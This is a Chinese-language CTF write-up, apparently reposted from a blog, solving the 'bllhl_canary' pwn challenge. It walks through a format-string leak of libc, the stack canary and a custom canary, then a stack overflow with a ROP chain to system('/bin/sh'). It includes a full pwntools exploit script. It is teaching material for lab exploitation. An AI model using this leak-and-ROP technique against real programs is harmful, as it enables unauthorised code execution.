web选手入门pwn(37)——bllhl_canary

admin 2026-07-24 04:26:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一道CTFpwn挑战,涉及利用格式化字符串泄露libc地址和canary值,绕过自定义canary校验实现栈溢出。关键步骤包括通过gdb调试确定偏移,泄露v2、v9和系统canary,最终构造ROP链执行system(sh)获取flag。文章提供了完整exp,适合入门者学习canary绕过技巧。 综合评分: 88 文章分类: 漏洞分析,实战经验,CTF,WEB安全,二进制安全


cover_image

web选手入门pwn(37)——bllhl_canary

原创

珂字辈 珂字辈

珂技知识分享

2026年7月20日 16:27 湖北

在小说阅读器读本章

去阅读

https://www.polarctf.com/#/page/challenges

给了libc,和roderickchan/debug_pwn_env:22.04-2.35-0ubuntu3.8-20240601环境一样。

题如其名,是一道比较标准的canary题,第一个read配合printf是字符串格式化,用来泄露libc+canary的,第二个read有着明显的栈溢出。

如果只有这两个点就是入门的canary题了,但还存在v2/v3的校验,如果不相等则进入die_custom。里面会直接退出,这样就错失栈溢出的必须条件ret。

因此v2/v3其实本质上是题目自己实现的canary2。

v2和v3都来自custom_canary_for(v7, v9),v2是在read(0x200)之前就确定的,因此可以用字符串格式化泄露,栈溢出时再填充进去。但v3是在read(0x200)之后的,那么只能期待custom_canary_for(v7, v9)我们可以完全控制,跟进去看一眼。

这里看起来是return 0,但实际上只是将末尾变0,使其具有canary特征,gdb里是这样的。

而且v7和v9,前者取的地址,后者取的值。v7地址肯定不变,但v9在栈上有可能被我们覆盖,要注意。

而其他三个因素,都不是我们所能控制的,但理论上它们都是固定的值,不需要考虑进去。

接着就是gdb调试,找到v2(canary2),v9,以及系统自带的canary1。

在read(0x200)后看栈。

这样看一目了然。接着就是计算偏移了,相信大家都是熟练工了不赘述。先泄露libc,v2(canary2),v9,canary1,然后栈溢出时照葫芦画瓢将v2/v9/canary1填充回去,最后走system(sh)即可。exp如下。

from pwn import *import re
context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h']
sh = process("./pwn1")#gdb.attach(sh, 'b *0x555555555704\nc\n')#sh = remote("1.95.36.136", xxxx)
libc = ELF("./libc.so.6")rop = ROP(libc)
sh.sendlineafter("leak:", "%21$p--%38$p--%39$p--%41$p")
data = sh.recvuntil(b"[stage2]").decode()leaks = re.findall(r'0x[0-9a-fA-F]+', data)print(leaks)
libc_leak = int(leaks[0], 16)canary2 = int(leaks[1], 16)canary1 = int(leaks[3], 16)v9 = int(leaks[2], 16)
print("libc =", hex(libc_leak))print("canary1   =", hex(canary1))print("canary2   =", hex(canary2))print("v9   =", hex(v9))
base_libc = libc_leak - libc.sym['_IO_2_1_stdout_']system = base_libc + libc.sym['system']binsh = base_libc + next(libc.search(b"/bin/sh"))pop_rdi = base_libc + rop.find_gadget(['pop rdi', 'ret'])[0]ret = base_libc + rop.find_gadget(['ret'])[0]
payload = b"A"*96 + p64(canary2) + p64(v9) + b"B"*8 + p64(canary1) + b"C"*24payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)sh.sendlineafter("now:", payload)
sh.interactive()

远程获取flag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈 珂字辈《web选手入门pwn(37)——bllhl_canary》

    评论:0   参与:  0